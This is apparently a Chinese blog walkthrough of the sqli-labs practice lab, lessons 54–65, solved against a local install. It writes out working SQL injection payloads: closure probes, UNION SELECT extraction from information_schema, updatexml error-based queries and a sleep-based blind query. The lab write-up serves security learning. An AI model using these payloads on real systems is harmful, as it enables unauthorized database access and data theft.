Sqli-labs实验Task4(less54-65)
Less-54
Page 4又是不一样的挑战:
可以看到这一串英文的提示是告诉我们需要在不到10次尝试中从数据库challenges中的随机表中获取秘钥,有趣的是,每次都会重置,challenge都会产生随机的表名、列名、表数据。一直保持新鲜。
分析分析可以知道,这个和ctf差不多,我们需要获取flag来提交才算成功。
首先第一次判断闭合情况,一次成功,单引号闭合:
$ 127.0.0.1/sqli-labs-master/Less-54/?id=1’
知道数据库名是challenges,下面获取表名:
$ 127.0.0.1/sqli-labs-master/Less-54/?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges' -- #
获取了表名,果然是随机产生的,现在获取字段:
$ 127.0.0.1/sqli-labs-master/Less-54/?id=0' union select 1,2,column_name from information_schema.columns where table_name='8al0pvg8mg' and table_schema='challenges' -- #
可以看到第一个字段是id,还是直接获取所有列名把,有点蠢,以为一次就能出:
$ 127.0.0.1/sqli-labs-master/Less-54/?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='8al0pvg8mg' and table_schema='challenges' -- #
根据观察列名应该就是第三个secet_IKU1后面几位应该就是随机产生的,哈哈现在获取flag了:
$ 127.0.0.1/sqli-labs-master/Less-54/?id=0' union select id,sessid,secret_IKU1 from challenges.8al0pvg8mg -- #
哈哈哈,后面直接提交就可以了啦!透个底,作者第一次成功的次数是8次,这个是第二次写博客的时候重新测试的。
Less-55
这一个和上一个差不多,不过将次数增加到了14次,可见难度肯定又有上升了!先来看看闭合情况:
$ 127.0.0.1/sqli-labs-master/Less-55/?id=1) -- #
没有报错,很难受,就一个括号的闭合,我竟然猜了6次!!!!!太浪费了,太浪费了。后面就差不多了。54的payload可以直接用,更改一下闭合就行了。最后9次才出来,有点丢人。
Less-56
同样是14次,按照之前的套路,这个时候应该是一个有报错的双重闭合。
$ 127.0.0.1/sqli-labs-master/Less-56/?id=1') -- #
单引号加括号,没意思,大家可以自己玩玩。
Less-57
我猜应该也是不同的闭合,每次套餐四个不是吗?
$ 127.0.0.1/sqli-labs-master/Less-57/?id=1" -- #
Less-58
这一次就给力了,只有5次机会,这就基本要保证我们每一次都不能出现错误。
测试了一下还是单引号闭合:
$ 127.0.0.1/sqli-labs-master/Less-58/?id=1' -- #
试一下54的payload发现不行!这样不行,那就得换方法了,发现可以报错,试试我们之前的updatexml的报错看看:
$ 127.0.0.1/sqli-labs-master/Less-58/?id=1' and(updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges')),1))-- #
成功,但是次数不够了,尴尬,只能重开一局了。
后面的话就直接修改updatexml里面的第二个参数的查询语句就可以啦,我就不废话了。
Less-59
这个比上面那个还简单,没有闭合。根据报错可以看出:
$ 127.0.0.1/sqli-labs-master/Less-59/?id=1 and(updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges')),1))-- #
Less-60
和上面一样,闭合情况改为了双引号加括号:
$ 127.0.0.1/sqli-labs-master/Less-60/?id=1") -- #
Less-61
哇,这一次,我没有试出来,看了源码才弄出来闭合。。。。头皮发麻,单引号加两重括号,这第一次见:
$ 127.0.0.1/sqli-labs-master/Less-61/?id=1')) -- #
其他的就和之前的一样。
Less-62
我的天,这一次让我们130次的机会,我猜现在肯定就只能利用布尔的盲注,不然照实验这么抠的,怎么会给130次机会。。
可以看到,现在没有报错,只能自己猜闭合情况,然后union联合查询也没用,只能利用布尔盲注。
闭合是单引号加括号。
尝试获取信息:
$ 127.0.0.1/sqli-labs-master/Less-62/?id=1') and If(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges'),1,1))=79,0,sleep(10)) -- #
这个时候肯定就只能利用脚本了。大家可以用sqlmap试试,我这里就没弄了。
Less-63
这个和62一样,不过闭合变成了单引号。
Less-64
这个也一样,闭合变成了双重括号!!!
Less-65
双引号加括号!
结束语
本来看sqli-lab的分布图应该是有到less-75的,但是一直也没有找到,就暂且不论了。还有这次的sqli-lab的实验过程中,基本都是手动做的,因此很多需要布尔,时间的盲注的less都没有好好弄,之后有时间会整理出一套用工具的教程来完善一下。
就像我的学长曾经指导我一样,他没有具体去教我如何学习渗透,学习注入的知识,他很鄙视渗透,甚至都不愿教我们,但他又承认,这是安全工作者必备的技能。
安全学习过程中,路漫漫其修远兮!